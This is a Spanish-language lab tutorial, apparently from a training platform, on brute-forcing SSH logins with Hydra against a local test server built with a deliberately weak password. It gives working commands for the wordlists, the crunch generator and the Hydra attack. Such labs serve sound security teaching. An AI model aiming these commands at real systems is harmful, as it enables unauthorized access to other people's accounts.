Ataque de Fuerza Bruta a SSH con Hydra

Introducción

En este laboratorio, aprenderás a realizar ataques de fuerza bruta contra servicios SSH utilizando Hydra, una herramienta de craqueo de contraseñas muy popular en el ámbito de la ciberseguridad. El ejercicio abarca desde la instalación de Hydra y la configuración de un servidor de destino con credenciales débiles, hasta la ejecución de ataques empleando listas de palabras (wordlists) preparadas.

Obtendrás experiencia práctica configurando un entorno de prueba SSH y analizando las capacidades de fuerza bruta de Hydra. Este laboratorio recrea escenarios de ataque del mundo real, reforzando al mismo tiempo los principios del hacking ético en un entorno controlado.

Instalar Hydra

En este paso, instalaremos Hydra, una potente herramienta de craqueo de contraseñas utilizada para ataques de fuerza bruta contra diversos servicios de red. Hydra es especialmente útil en pruebas de penetración, ya que puede probar sistemáticamente diferentes combinaciones de nombres de usuario y contraseñas para obtener acceso a sistemas protegidos. Es compatible con múltiples protocolos, incluyendo SSH (que usaremos en este laboratorio), FTP, HTTP y muchos más.

Primero, abre la terminal en tu entorno de VM de LabEx. La terminal es tu interfaz principal para ejecutar comandos en Linux. Asegúrate de estar en el directorio de trabajo predeterminado donde realizaremos todo el trabajo del laboratorio:
```
cd ~/project
```
Antes de instalar cualquier software nuevo, es una buena práctica actualizar la lista de paquetes. Esto garantiza que obtendrás la versión más reciente disponible de Hydra y todas sus dependencias:
```
sudo apt update
```
Ahora instalaremos Hydra utilizando el gestor de paquetes apt, que se encarga de la instalación de software en sistemas basados en Debian como Ubuntu. El parámetro -y confirma automáticamente la instalación:
```
sudo apt install -y hydra
```
Tras la instalación, verifiquemos que Hydra se ha instalado correctamente comprobando su versión. El comando head -n 1 muestra solo la primera línea de la salida, que contiene la información de la versión:
```
hydra -h | head -n 1
```
Deberías ver una salida similar a:
```
Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
```
Hydra también ofrece una versión con interfaz gráfica para quienes prefieren herramientas visuales. Aunque en este laboratorio utilizaremos la versión de línea de comandos, opcionalmente puedes instalar la versión GUI basada en GTK+ con:
```
sudo apt install -y hydra-gtk
```

Configurar un Servidor SSH de Destino

En este paso, configuraremos un servidor SSH local que servirá como nuestro objetivo para el craqueo de contraseñas en los pasos siguientes. Esto nos permite practicar técnicas de pentesting en un entorno controlado. SSH (Secure Shell) es un protocolo utilizado para el inicio de sesión remoto seguro entre ordenadores, y configuraremos una versión vulnerable con fines educativos.

Primero, asegúrate de estar en el directorio de trabajo predeterminado. Esto es importante para mantener todos los archivos del laboratorio organizados en un solo lugar:
```
cd ~/project
```
Instala el paquete del servidor OpenSSH. Este software convertirá tu máquina en un servidor SSH capaz de aceptar conexiones remotas:
```
sudo apt install -y openssh-server
```
Crea una cuenta de usuario de prueba dedicada con una contraseña débil (solo con fines demostrativos). En escenarios reales, las contraseñas débiles como esta son exactamente lo que buscan los atacantes:
```
sudo useradd -m testuser
echo "testuser:password123" | sudo chpasswd
```
Configura SSH para permitir la autenticación por contraseña (temporalmente para este laboratorio). Por defecto, muchos sistemas desactivan la autenticación por contraseña por razones de seguridad, pero aquí la habilitaremos para demostrar cómo funcionan los ataques de fuerza bruta:
```
sudo sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config
```
Reinicia el servicio SSH para aplicar los cambios. Los servicios a menudo necesitan reiniciarse para que las modificaciones en la configuración surtan efecto:
```
sudo service ssh restart
```
Verifica que el servidor SSH esté funcionando. Este comando comprueba si nuestro servidor SSH está correctamente activo y a la escucha de conexiones:
```
sudo service ssh status
```
Deberías ver una salida que indique que el servicio está activo (running). Si no es así, puede haber habido un error en los pasos anteriores que deba ser subsanado.
Prueba la conexión SSH localmente. Esta comprobación final confirma que todo funciona antes de proceder a la fase de ataque:
```
ssh testuser@localhost -o StrictHostKeyChecking=no
```
Cuando se te solicite, introduce la contraseña password123. Tras iniciar sesión con éxito, escribe exit para volver a tu sesión principal. La opción -o StrictHostKeyChecking=no evita que SSH te pida verificar la huella digital del servidor, lo cual es aceptable en este entorno de laboratorio.

Preparar una Lista de Usuarios y Contraseñas

En este paso, crearemos archivos de texto que contengan posibles nombres de usuario y contraseñas que Hydra utilizará para intentar la autenticación SSH. Estos archivos son esenciales para los ataques de fuerza bruta basados en diccionarios. Un ataque de diccionario funciona probando sistemáticamente todas las combinaciones posibles de usuarios y contraseñas de listas predefinidas, por lo que preparar buenas listas es crucial.

Primero, asegúrate de estar en el directorio de trabajo predeterminado. Esto ayuda a mantener los archivos de tu proyecto organizados y facilita su referencia posterior:
```
cd ~/project
```
Crea un archivo de lista de usuarios utilizando el editor de texto nano. Los nombres de usuario comunes suelen probarse primero en los ataques de fuerza bruta porque muchos sistemas utilizan nombres predeterminados o predecibles:
```
nano usernames.txt
```
Añade estos nombres de usuario comunes (presiona Ctrl+O para guardar, luego Ctrl+X para salir):
```
admin
root
testuser
user
guest
```
Crea un archivo de lista de contraseñas. Las contraseñas débiles como estas se usan con frecuencia y suelen ser los primeros objetivos en las pruebas de seguridad:
```
nano passwords.txt
```
Añade estas contraseñas comunes:
```
password
password123
123456
qwerty
letmein
```
Verifica que los archivos se hayan creado correctamente mostrando su contenido. Este paso de confirmación asegura que no haya errores tipográficos o de formato en tus listas:
```
cat usernames.txt
cat passwords.txt
```
Deberías ver las listas que creaste mostradas en la terminal.
(Opcional) Genera variaciones de contraseña adicionales usando crunch. Esta herramienta ayuda a crear listas de contraseñas más completas generando automáticamente combinaciones basadas en patrones específicos:
```
sudo apt install -y crunch
crunch 4 6 0123456789 -o num_passwords.txt
```
Esto crea contraseñas numéricas de entre 4 y 6 caracteres de longitud. El comando especifica la longitud mínima (4), la longitud máxima (6) y el conjunto de caracteres (dígitos del 0 al 9).

Ejecutar Hydra contra SSH

En este paso, utilizaremos Hydra para realizar un ataque de fuerza bruta contra nuestro servidor SSH local. La fuerza bruta es un método que consiste en probar muchas combinaciones de usuario/contraseña hasta encontrar la correcta. Utilizaremos las listas de palabras que preparamos anteriormente para automatizar este proceso.

Primero, navega al directorio del proyecto que contiene tus listas de palabras. Esto asegura que Hydra pueda encontrar los archivos que creamos:
```
cd ~/project
```
Ahora ejecutaremos Hydra con parámetros específicos. La estructura del comando le indica a Hydra qué atacar y cómo. Vamos a desglosarlo:
```
hydra -L usernames.txt -P passwords.txt ssh://localhost -t 4 -vV
```
Explicación de los parámetros:
- -L usernames.txt: Apunta a nuestra lista de posibles nombres de usuario.
- -P passwords.txt: Especifica nuestro archivo de diccionario de contraseñas.
- ssh://localhost: Establece como objetivo el servicio SSH en esta máquina.
- -t 4: Controla la velocidad limitando a 4 intentos simultáneos.
- -vV: Muestra el progreso detallado en la terminal.
Mientras Hydra se ejecuta, mostrará cada intento en tiempo real. Cuando encuentre credenciales válidas, aparecerán claramente en la salida de esta forma:
```
[22][ssh] host: localhost   login: testuser   password: password123
```
(Opcional) Para mantener un registro permanente de los resultados, podemos guardarlos en un archivo. Esto es útil para documentación o análisis posteriores:
```
hydra -L usernames.txt -P passwords.txt ssh://localhost -t 4 -o results.txt
```
Una vez finalizado el escaneo, puedes ver los resultados guardados con:
```
cat results.txt
```

Resumen

En este laboratorio, has aprendido a realizar un ataque de fuerza bruta en SSH utilizando Hydra, una potente herramienta de craqueo de contraseñas. El ejercicio ha cubierto la instalación de Hydra, la configuración de un servidor SSH para pruebas y la creación de listas de usuarios y contraseñas específicas.

Has practicado la ejecución de ataques basados en diccionarios y el análisis de resultados, demostrando cómo se pueden explotar las credenciales débiles. Esta experiencia práctica resalta la necesidad crítica de utilizar contraseñas robustas y métodos de autenticación seguros en ciberseguridad.